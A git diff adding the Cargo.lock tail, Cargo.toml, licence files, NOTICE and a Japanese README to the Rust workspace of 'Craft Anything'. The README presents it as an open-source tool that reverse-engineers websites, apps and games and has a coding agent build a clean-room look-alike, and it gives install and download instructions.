"zeroize_derive", +] + +[[package]] +name = "zeroize_derive" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c50655cbb0fe3fc43170059e702f1ce5e19b84cec58dc87b037a09935c2f328" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "zerotrie" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ea269c3bd32f0a32c321907a2ae912ba6f4649bb0fc764a15627e99a7095a3f" +dependencies = [ + "displaydoc", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "zerovec" +version = "0.11.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb0464e17806c1d976d5cba29399c7f08e516e279e2ba493f63123b5fca67dd8" +dependencies = [ + "serde", + "yoke", + "zerofrom", + "zerovec-derive", +] + +[[package]] +name = "zerovec-derive" +version = "0.11.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34df6fc39dbd26ddc9c10e6a2984476e13acce22e64e4487636ef494369225da" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "zlib-rs" +version = "0.6.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b268e58e7c693d7c271f93ffc4ba3b380412554231c85bf61ca7af91042a4112" + +[[package]] +name = "zmij" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b" + +[[package]] +name = "zune-core" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d56377fd46368984a170bc5aac5567e52ca5da874caa60bea39fcbca78fb658b" + +[[package]] +name = "zune-jpeg" +version = "0.5.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27bc9d5b815bc103f142aa054f561d9187d191692ec7c2d1e2b4737f8dbd7296" +dependencies = [ + "zune-core", +] + +[[package]] +name = "zvariant" +version = "4.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2084290ab9a1c471c38fc524945837734fbf124487e105daec2bb57fd48c81fe" +dependencies = [ + "endi", + "enumflags2", + "serde", + "static_assertions", + "zvariant_derive 4.2.0", +] + +[[package]] +name = "zvariant" +version = "5.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1d34c27cc6cdd1f458427519dd6b8612f7b7e3f7b9a0b2355d041dda9869147" +dependencies = [ + "endi", + "enumflags2", + "serde", + "winnow 1.0.4", + "zcheapstr", + "zvariant_derive 5.15.0", + "zvariant_utils 4.2.0", +] + +[[package]] +name = "zvariant_derive" +version = "4.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73e2ba546bda683a90652bac4a279bc146adad1386f25379cf73200d2002c449" +dependencies = [ + "proc-macro-crate", + "proc-macro2", + "quote", + "syn 2.0.119", + "zvariant_utils 2.1.0", +] + +[[package]] +name = "zvariant_derive" +version = "5.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "864155e69b4352db0c7f374917bf45d1e0c8d17659c8b3dbf9795f3673f8c497" +dependencies = [ + "proc-macro-crate", + "proc-macro2", + "quote", + "syn 3.0.9", + "zvariant_utils 4.2.0", +] + +[[package]] +name = "zvariant_utils" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c51bcff7cc3dbb5055396bcf774748c3dab426b4b8659046963523cee4808340" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "zvariant_utils" +version = "4.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bad0294361a320b694a328460dc73add56c306150f5cb6bfafc44446120008a3" +dependencies = [ + "proc-macro2", + "quote", + "serde", + "syn 3.0.9", + "winnow 1.0.4", +] diff --git a/desktop/Cargo.toml b/desktop/Cargo.toml new file mode 100644 index 0000000..5775126 --- /dev/null +++ b/desktop/Cargo.toml @@ -0,0 +1,91 @@ +[workspace] +resolver = "3" +members = ["crates/*", "apps/*", "xtask"] + +[workspace.package] +version = "0.3.0" +edition = "2024" +license = "MIT OR Apache-2.0" +rust-version = "1.97" +repository = "https://github.com/storytold/craft-anything" + +[workspace.dependencies] +# internal +craft-anything-evidence = { path = "crates/evidence" } +craft-anything-formats = { path = "crates/formats" } +craft-anything-disasm = { path = "crates/disasm" } +craft-anything-js = { path = "crates/js" } +craft-anything-analysis = { path = "crates/analysis" } +craft-anything-platform = { path = "crates/platform" } +craft-anything-engines = { path = "crates/engines" } +craft-anything-engine = { path = "crates/engine" } +craft-anything-ai = { path = "crates/ai" } +craft-anything-mcp = { path = "crates/mcp" } +craft-anything-setup = { path = "crates/setup" } +craft-anything-ui-egui = { path = "crates/ui-egui" } +craft-anything-testkit = { path = "crates/testkit" } + +# external +thiserror = "2" +serde = { version = "1", features = ["derive", "rc"] } +serde_json = "1" +sha2 = "0.10" +hex = "0.4" +bitflags = { version = "2", features = ["serde"] } +schemars = "1" +log = "0.4" +toml = "0.9" +eframe = { version = "0.36", default-features = false } +egui = "0.36" +egui_extras = { version = "0.36", default-features = false } +egui_kittest = "0.36" +rfd = "0.17" +rayon = "1" +proptest = "1" +# JavaScript (pure Rust, wasm-safe) +oxc_allocator = "0.153" +oxc_ast = "0.153" +oxc_ast_visit = "0.153" +oxc_parser = "0.153" +oxc_span = "0.153" +oxc_syntax = "0.153" +oxc_codegen = "0.153" +oxc_semantic = "0.153" +miniz_oxide = "0.8" + +# native engine (pure Rust) +object = { version = "0.36", default-features = false, features = ["read", "std"] } +iced-x86 = { version = "1.21", default-features = false, features = ["std", "decoder", "intel", "instr_info"] } +yaxpeax-arm = { version = "0.5", default-features = false, features = ["std", "alloc", "fmt"] } +yaxpeax-arch = { version = "0.3", default-features = false, features = ["std", "alloc"] } +rustc-demangle = "0.1" +wasmparser = { version = "0.261", default-features = false, features = ["std", "validate", "features", "component-model", "simd"] } +wasmprinter = { version = "0.261", default-features = false, features = ["component-model"] } +regex = "1" + +[workspace.lints.rust] +unsafe_code = "forbid" + +[workspace.lints.clippy] +dbg_macro = "warn" +todo = "warn" + +[profile.dev.package."*"] +opt-level = 2 + +[profile.dev] +opt-level = 1 + +[profile.release] +lto = "thin" +codegen-units = 1 + +# The browser build (apps/craft-anything-web, `trunk build --release`): small and fast to load. +[profile.web-release] +inherits = "release" +opt-level = "s" +lto = "fat" +codegen-units = 1 +debug = false +strip = true +panic = "abort" diff --git a/desktop/LICENSE-APACHE b/desktop/LICENSE-APACHE new file mode 100644 index 0000000..f433b1a --- /dev/null +++ b/desktop/LICENSE-APACHE @@ -0,0 +1,177 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS diff --git a/desktop/LICENSE-MIT b/desktop/LICENSE-MIT new file mode 100644 index 0000000..8e63994 --- /dev/null +++ b/desktop/LICENSE-MIT @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 ArtCraft Team and the Craft Anything contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/desktop/NOTICE b/desktop/NOTICE new file mode 100644 index 0000000..e3f21dc --- /dev/null +++ b/desktop/NOTICE @@ -0,0 +1,31 @@ +Craft Anything +Copyright (c) 2026 ArtCraft Team and the Craft Anything contributors. +Licensed under the MIT License or the Apache License, Version 2.0, at your option +(LICENSE-MIT, LICENSE-APACHE). + +The ArtCraft name, wordmark and logos in docs/brand/ are trademarks of the ArtCraft Team. They are +not open source and are not covered by the license above; their terms are in +docs/brand/LICENSE-brand.txt. + +Third-party material + +This product bundles third-party material under its own licenses, listed below. The per-file +list (author, source, license) is in ATTRIBUTION.md. + +- Inter (assets/fonts/) — SIL Open Font License 1.1. See assets/fonts/OFL-Inter.txt. +- JetBrains Mono (assets/fonts/) — SIL Open Font License 1.1. See assets/fonts/OFL-JetBrainsMono.txt. +- Archivo (assets/fonts/) — SIL Open Font License 1.1. See assets/fonts/OFL-Archivo.txt. +- Geist Mono (assets/fonts/) — SIL Open Font License 1.1. See assets/fonts/OFL-GeistMono.txt. +- Lucide icons (assets/icons/) — ISC License. See assets/icons/LICENSE-lucide.txt. +- egui default fonts (embedded by the epaint_default_fonts crate): + - Ubuntu Light — Ubuntu Font Licence 1.0. + - Noto Emoji — SIL Open Font License 1.1. + - Hack — MIT License; contains Bitstream Vera glyphs under the Bitstream Vera License. + - emoji-icon-font (Copyright (c) 2014 John Slegers) — MIT License. + The licence texts ship in that crate's fonts/ folder (UFL.txt, OFL.txt, Hack-Regular.txt, + emoji-icon-font-mit-license.txt) and in the third-party licence bundle (docs/licences.md). + +Rust crates are listed with their licences in the third-party licence bundle shipped with each +release (see docs/licences.md). + +Builds made with craft-fonts (CRAFT_FONTS_DIR) also embed the fonts listed in ATTRIBUTION.md. diff --git a/desktop/README.ja.md b/desktop/README.ja.md new file mode 100644 index 0000000..45a87bc --- /dev/null +++ b/desktop/README.ja.md @@ -0,0 +1,354 @@ +

+ + + + ArtCraft + + +

+ +

+ Craft Anything のアイコン: 青いタイルに刻まれたワタリガラス +

+ +

Craft Anything

+ +

+ English · 日本語 · 简体中文 · 한국어 +

+ +

+ あらゆる Web サイト、アプリ、ゲームがどう動いているかを見て、あなた自身の版を AI に作らせる。純粋な Rust で書かれた、オープンソースのクリーンルームエンジン。
+ 対象を指定して、欲しいものを伝えるだけ。実際の調査ツールで元のソフトを調べ、
+ コーディングエージェントに新しいプロジェクトを作らせ、結果を元のソフトと比較して磨き上げます。 +

+ +

+ 100% Rust + macOS · Windows · Linux · FreeBSD · Web + ライセンス: MIT OR Apache-2.0 + ステータス: アルファ版の初期段階 +

+ +

+ ArtCraft コミュニティの Discord に参加する +

+ +

+ Craft Anything をダウンロード · + ArtCraft · + すべての Crafting Apps +

+ +
+ +

+ Craft Anything の Web サイトプロジェクト: チェックがまだ一致していない点と各ページの類似度を示し、ビルダーはビルドした版の準備ができたと告げ、承認カードはコマンド実行の前に確認を求め、プランは 4 ステップのうち 2 つが完了していることを示している +
+ Web サイトプロジェクト: 各チェックは、ビルドが元のソフトにどれくらい似ているかを示し、ルールから外れるものはあなたが承認し、プランは残りの作業を示します。 +

+ +> [!NOTE] +> **ArtCraft は、あらゆる分野の作り手が集まるコミュニティです。** 画家、写真家、映像作家、 +> イラストレーター、デザイナー、アニメーター、趣味で作っている人、先週ペンを持ったばかりの人。 +> 何かを作っているなら、あなたも仲間です。**[Discord で気軽に声をかけてください](https://discord.gg/artcraft)。** + +

+ 仕組み · + 2 つの使い方 · + AI · + エージェント向け · + 内部の仕組み · + はじめかた · + ステータス · + ダウンロード · + Discord +

+ +
+ + + + + + + + +
+

🔍 なんでも調べる

+ Web サイト、デスクトップアプリ、スマホアプリ、ゲーム、ファイル。本物の調査ツールが、それらがどう作られ、何をするのかを突き止め、答えの裏付けとなるエビデンスも添えます。 + 		+

🛠️ 自分の版を作る

+ 「この Web サイトを再現して」「このゲームのゲームプレイを Rust で再現して」と伝えれば、コーディングエージェントが指定した技術スタックで新しいプロジェクトを作ります。 + 		+

✅ 推測ではなく検証

+ すべてのビルドは元のソフトと比較され (3 つの画面幅で表示したページ、ゲーム自身のセルフテスト、アプリの実行結果)、十分近づくまで磨かれます。 + 		+

🤖 エージェント対応

+ 314 個のツールは、それぞれが CLI コマンドであり、MCP ツールでもあります。どのエージェントでも、アプリが使うのと同じエンジンを動かせます。調査に AI は要りません。 +
+ +
+ + + +## 仕組み + +Craft Anything で対象を指定し、欲しいものを伝えて「Start」を押すだけ。4 つのステップで進み、判断が必要なときは、わかりやすい言葉であなたに尋ねます: + +1. **調べる (Study):** 元のソフトを調査します。あらゆる幅で表示したページ、コード、ファイル、動作のしかたを調べます。 +2. **作る (Build):** コーディングエージェントが新しいプロジェクトを作ります。言語、フレームワーク、エンジンはリクエストで指定したもの (指定がなければ妥当な既定値)を使います。 +3. **確認する (Check):** ビルドを元のソフトと比較し、まだ一致していない点を一覧にします。 +4. **完成 (Ready):** 結果を開いたり、遊んだり、プレビューしたりできます。変更を頼めば磨き直します。 + + + + + + +
+ Make 画面: 再現する Web サイト、アプリ、ゲームを選び、アドレスを入力し、「Clean room」か「Deep」かを選び、欲しいものを伝えて Start を押す
+ Make: 何を再現するかを選び、欲しいものを伝え、Start を押します。 + 		+ 完成したスネークゲームのプロジェクト。すべてのステップが完了し、「Play the game」ボタンがある
+ Ready: ゲームで遊ぶ。変更は下の欄から頼めます。 +
+ + + +## 2 つの使い方 + +- **Simple** (既定): 「What do you want to make?」と表示されるので、Web サイト、アプリ、ゲームから選び、説明して Start を押します。プロジェクトページには 4 つのステップ (Study → Build → Check → Ready)、エージェントが今何をしているかの平易な説明、質問と承認のカード、結果がどれくらい似ているか、結果やそのフォルダを開くボタンが並びます。変更は下の入力欄から頼めます。「Just look inside」は、何も作らずに対象へ質問できます (ディープモード時)。 +- **Advanced**: フル機能のワークベンチ。すべてのツール (Ctrl/Cmd+K)、関数、文字列、疑似 C、逆アセンブル、16 進数、コールグラフ、エビデンス、不明点、ジョブ、ログ、エージェントコンソール。 + +どちらのモードも同じエンジンを動かします。 + +## クリーンルーム(Clean room)かディープモード(Deep) + +- **クリーンルーム(Clean room)** (既定): 元のソフトの中身は一切読みません。コードも、ファイルも、ページのソースも読みません。Craft Anything は、あなたに見えるものだけから作業します。追加した画像、訪問者から見た Web サイト (スクリーンショット、見えているテキスト、計測したレイアウト、色、フォント、余白、開いたメニュー)、そして許可した場合はアプリのウィンドウの画像です。中を覗こうとするツールは拒否され、ディープモードの有効化方法を案内します。 +- **ディープモード(Deep)**: すべてのツールを使います。私的利用のためのモードです。プログラムのコードとファイルは内蔵エンジン (インストールされていれば Ghidra も)で読み、Web サイトの JavaScript を読み、そのスタートページを観察します。ビルダーもそれらすべてを使えます。 + +タイトルバーまたは Settings で切り替えられます。`settings_set deep_mode true` で設定するか、CLI の 1 回限りなら `--deep` (または `--clean-room`)を使ってください。 + +

+ Advanced モードのワークベンチ: 関数一覧、選択した関数の疑似 C、ツール呼び出しで質問に答えるエージェント、エビデンスの台帳 +
+ Advanced: 関数、疑似 C、エージェント、そしてあらゆる答えの裏にあるエビデンス。 +

+ + + +## AI + +ビルドには、お使いのコンピュータ上のコーディングエージェントが必要です。まず **Claude Code** に対応しています。Craft Anything は、あなた自身の改変されていない `claude` プログラムを実行します。これはあなた自身のサインイン情報を使います。Craft Anything がアカウントを見たり扱ったりすることはありません。利用は Anthropic とのあなた自身の契約に従います。方法と理由は [docs/claude-code.md](docs/claude-code.md) を参照してください。Codex アダプターもありますが、実際のインストール環境ではまだ検証されていません。質問と分析には、Anthropic、OpenAI、OpenRouter、ローカルの OpenAI 互換サーバーが使えます (Settings → AI)。 + + + +## エージェント向け + +すべてのツールは CLI サブコマンドでも MCP ツールでもあるので、エージェントはアプリなしで対象を調べたり、再構築を丸ごと実行したりできます: + +```sh +craft-anything-cli commands # every tool, by toolset +craft-anything-cli mcp # serve them to any MCP client +craft-anything-cli rebuild https://example.com "Recreate this website" +``` + +結果は、信頼度・カバレッジ・制限事項を備えたエビデンス記録です。大きな結果はまず要約として返り、`core_evidence_browse` でページ送りできます。`craft-anything-cli setup` は Craft Anything をコーディングエージェントのアプリにつなぎます。 + + + +## 内部の仕組み + +純粋な Rust で書かれたリバースエンジニアリングエンジンです。ネイティブプログラム、.NET、Java、Android、Apple、Electron/JavaScript、Web サイト、ファームウェア、パケットキャプチャ、データベース、ゲームファイル向けに 314 個のツール (うち 298 個がエンジン本体、残りは AI とセットアップの層)を備えています。独自のデコーダ、逆アセンブラ、逆コンパイラは外部プログラムなしで動きます。ディープモードではそれらすべてを使い、インストールされていれば Ghidra も使います。これがデスクトップアプリ (egui)、CLI、MCP サーバーを支え、一部は WebAssembly としてブラウザでも動きます。全リストは [docs/tools.md](docs/tools.md) にあります。 + + + +## はじめかた + +Rust **1.97 以降**が必要です (依存関係が要求します。`rustup update`)。Debian か Ubuntu では、デスクトップアプリには次のものも必要です: + +```sh +sudo apt-get install libxkbcommon-dev libwayland-dev libx11-dev libxrandr-dev libxi-dev libgl1-mesa-dev libgtk-3-dev +``` + +続いて: + +```sh +git clone https://github.com/storytold/craft-anything && cd craft-anything +cargo run --release -p craft-anything # the desktop app +cargo install --path apps/craft-anything-cli # the CLI, as `craft-anything-cli` +craft-anything-cli doctor # checks the install, coding agents and engines +``` + +ビルドには、コンピュータ上でサインイン済みのコーディングエージェントが必要です ([AI](#ai) を参照)。足りないものは `doctor` が示します。コマンドラインからの再構築 (ターミナルで質問に答えます): + +```sh +craft-anything-cli rebuild https://example.com "Recreate this website" +craft-anything-cli rebuild - "A snake game in Rust" --rounds 1 +craft-anything-cli rebuild https://example.com "Make the header blue" --continue-in "" +craft-anything-cli rebuild - "Add a contact form" --project-folder "" --existing edit +``` + +新しいプロジェクトは `Documents/Craft Anything` に作られます (Settings → General で変更できます)。各プロジェクトフォルダには `craft.json` (リクエスト、対象、状態、履歴)、`capture/` (対象から記録したもの)、`app/` (生成されたプロジェクト)、`checks/` (元のソフトとの比較ごとの結果)、`investigation.cany/` (エビデンス)、`inbox/` (未回答の質問)が入ります。 + +プロジェクトは、選んだフォルダから始めることもできます (Start の下にある「Choose a folder…」、または `--project-folder`)。すでにファイルがある場合は、それが何なのかを答えます。アプリ本体 (ビルダーがその場で編集します)か、そこから始める素材 (アプリはその隣の `app/` に作られます)のどちらかです (Settings → General で答えを記憶できます)。Settings → General では、ほかのフォルダにあるプロジェクトも一覧できます。一覧から外すと、その一覧から消えるだけです。 + + + +## ステータス + +> [!IMPORTANT] +> **ステータス:** Craft Anything はアルファ版の初期段階です。いま動くもの、一部だけのもの、この先の予定: +> +> - **いま動くもの:** デスクトップアプリ (Simple と Advanced)、CLI、MCP サーバー。Claude Code +> をビルダーとして、Web サイト・アプリ・ゲームを「調べる → 作る → 確認する → 磨く」の順に進める +> ワークフロー。3 つの画面幅での Web サイト確認。Unity、Unreal、Godot でのゲーム再構築。Ghidra を +> 使うディープモード。生成画像と 3D モデル (オプトイン、自分の fal.ai キー)。プラグイン (MCP +> サーバー、および `wasm-plugins` オプション付きビルドでの WASM コンポーネント)。 +> - **一部だけ:** API キーや他のコーディングエージェントでのビルド (実装済み、実環境では未実行)、 +> アプリとゲームの挙動チェック、実物ではなくダミーの対象でしかテストしていない一部のエンジンツール。 +> - **次:** 最初の公開リリース (Windows、macOS、Linux、FreeBSD 向けインストーラとブラウザ +> ビューアは CI に用意済み)、その後マネージドプランを提供予定。 +> +> [docs/STATUS.md](docs/STATUS.md) に詳細と、各部分をどう確かめたか、 +> [docs/tool-status.md](docs/tool-status.md) にツールごとのチェックリスト、 +> [docs/ROADMAP.md](docs/ROADMAP.md) に計画の項目別一覧があります。issue を立てるか、 +> [Discord](https://discord.gg/artcraft) で壊れたところを教えてください。 + +**責任ある使い方。** Craft Anything は、所有しているか、調べる許可があるソフトにだけ使ってください。DRM、ログイン、 +アンチチートを回避することは決してありません。再構築は、エビデンスに基づいてレイアウト・スタイル・挙動を再現します。エージェントには、ロゴ・写真・テキストを、あなたが権利を持つか使用許可があると確認できるまでコピーしないよう指示しています。 + + + +## ダウンロード + +GitHub の [最新リリース](https://github.com/storytold/craft-anything/releases/latest) には以下に挙げるすべてのビルドがあり、[すべてのリリース](https://github.com/storytold/craft-anything/releases) には過去のバージョンとそのリリースノートがあります。ファイル名の `` はバージョン番号で、`SHA256SUMS.txt` に各ファイルのチェックサムが載っています。 + +### Windows + +| ビルド | インストーラ | ポータブル | +|---|---|---| +| x64 (64 ビット Intel/AMD) | `craft-anything--windows-x64.msi` | `craft-anything--windows-x64-portable.zip` | +| arm64 (Snapdragon などの ARM PC) | `craft-anything--windows-arm64.msi` | `craft-anything--windows-arm64-portable.zip` | +| x86 (32 ビット) | `craft-anything--windows-x86.msi` | `craft-anything--windows-x86-portable.zip` | + +インストーラと実行ファイルはコード署名済みです。ポータブルの zip は設定をアプリの隣に保存します。 + +### macOS + +| ビルド | ファイル | 備考 | +|---|---|---| +| アプリ、ユニバーサル (Apple silicon + Intel) | `craft-anything--macos-universal.dmg` | 署名・公証済み | +| コマンドラインツール、ユニバーサル | `craft-anything-cli--macos-universal.zip` | 署名・公証済み。macOS がブロックする場合は下記を参照 | + +0.2.0 以降のバージョンではコマンドラインツールがアプリに同梱されるため、ビルドに別の zip は +不要です。必要なのは、アプリなしでコマンドラインだけを使う場合です。 + +ブラウザから zip をダウンロードすると「Apple could not verify craft-anything-cli」で止まることが +あります(単体のプログラムは公証を自分に添付できないため、macOS がオンラインで確認します)。 +ターミナルからのダウンロードはこの検査を受けないので、代わりに次を使ってください: + +```sh +ver=0.2.0 # change this to the version you want +curl -fLO "https://github.com/storytold/craft-anything/releases/download/v$ver/craft-anything-cli-$ver-macos-universal.zip" +ditto -x -k "craft-anything-cli-$ver-macos-universal.zip" . +mkdir -p ~/.local/bin +mv "craft-anything-cli-$ver-macos-universal/craft-anything-cli" ~/.local/bin/ +~/.local/bin/craft-anything-cli --version +``` + +`craft-anything-cli` だけで実行したい場合は、`~/.local/bin` を `PATH` に追加してください。 + +すでにブロックされたコピーがある場合は、Done(「ゴミ箱に入れる」ではなく)を押してから +`xattr -d com.apple.quarantine ` を実行するか、システム設定 → +プライバシーとセキュリティ → このまま開く で許可してください。 + +### Linux + +| 形式 | x86_64 | aarch64 (ARM64) | 備考 | +|---|---|---|---| +| AppImage | `craft-anything--linux-x86_64.AppImage` | `craft-anything--linux-aarch64.AppImage` | どこでも動きます。[AppImageUpdate](https://github.com/AppImageCommunity/AppImageUpdate) で自己更新します (`.zsync` ファイル) | +| Flatpak | `craft-anything--linux-x86_64.flatpak` | `craft-anything--linux-aarch64.flatpak` | サンドボックス化。`flatpak install --user ` | +| Debian/Ubuntu | `craft-anything--linux-x86_64.deb` | `craft-anything--linux-aarch64.deb` | | +| Fedora/RHEL/openSUSE | `craft-anything--linux-x86_64.rpm` | `craft-anything--linux-aarch64.rpm` | | +| Tarball | `craft-anything--linux-x86_64.tar.gz` | `craft-anything--linux-aarch64.tar.gz` | どこにでも展開できます | + +RISC-V (riscv64): `craft-anything--linux-riscv64.tar.gz`、tarball のみです。 + +### FreeBSD + +| ビルド | ファイル | +|---|---| +| x86_64 | `craft-anything--freebsd-x86_64.tar.gz` | + +### Web (WebAssembly) + +| ビルド | ファイル | 備考 | +|---|---|---| +| ブラウザビューア | `craft-anything-web-.zip` | ファイルが何であるかをブラウザ上で示します (ファイルはブラウザから出ません)。フォルダはどんな静的 Web サーバーでも公開できます ([packaging/web/README.md](packaging/web/README.md)) | + +
+ +

+ ArtCraft コミュニティの Discord に参加する +

+ +

一緒にものづくりを

+ +

